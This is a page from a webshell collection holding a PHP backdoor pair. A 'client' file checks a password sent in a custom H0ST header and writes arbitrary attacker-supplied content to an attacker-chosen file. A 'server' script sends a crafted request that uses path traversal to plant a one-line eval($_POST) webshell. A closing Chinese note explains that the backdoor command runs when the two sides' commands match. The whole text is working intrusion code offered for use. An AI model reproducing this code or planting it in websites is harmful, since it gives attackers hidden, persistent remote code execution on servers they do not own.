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https://github.com/tennc/webshell
synced 2024-11-23 03:33:03 +00:00
30 lines
No EOL
849 B
PHP
30 lines
No EOL
849 B
PHP
Client：
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<?php
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if(crypt($_SERVER['HTTP_H0ST'],51)=='514zR17F8j0q6'){@file_put_contents($_SERVER['HTTP_X'],$_SERVER['HTTP_Y']);
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header("Location: ./".$_SERVER['HTTP_X']);};
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?>
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Server:
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<?php
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$fp = fsockopen("127.0.0.1",80,$errno,$errstr,5);
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if (!$fp){
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echo('fp fail');
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}
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$out = "GET /php_muma/client.php HTTP/1.1\r\n";
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$out .= "Content-Type: application/x-www-form-urlencoded\r\n";
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$out .= "User-Agent: MSIE\r\n";
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$out .= "Host: 127.0.0.1\r\n";
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$out .= "H0ST: qiushui51a\r\n";
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$out .= "X: ../shell.php \r\n";
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$out .= "Y: <?php eval(\$_POST1);?>\r\n";
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$out .= "Connection: close\r\n\r\n";
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fwrite($fp,$out);
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while(!feof($fp)){
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$resp_str="";
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$resp_str .= fgets($fp,512);//返回值放入$resp_str
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}
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fclose($fp);
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echo($resp_str);//处理返回值.
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?>
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对服务端与客户端指令对比，如一致则执行后门指令。
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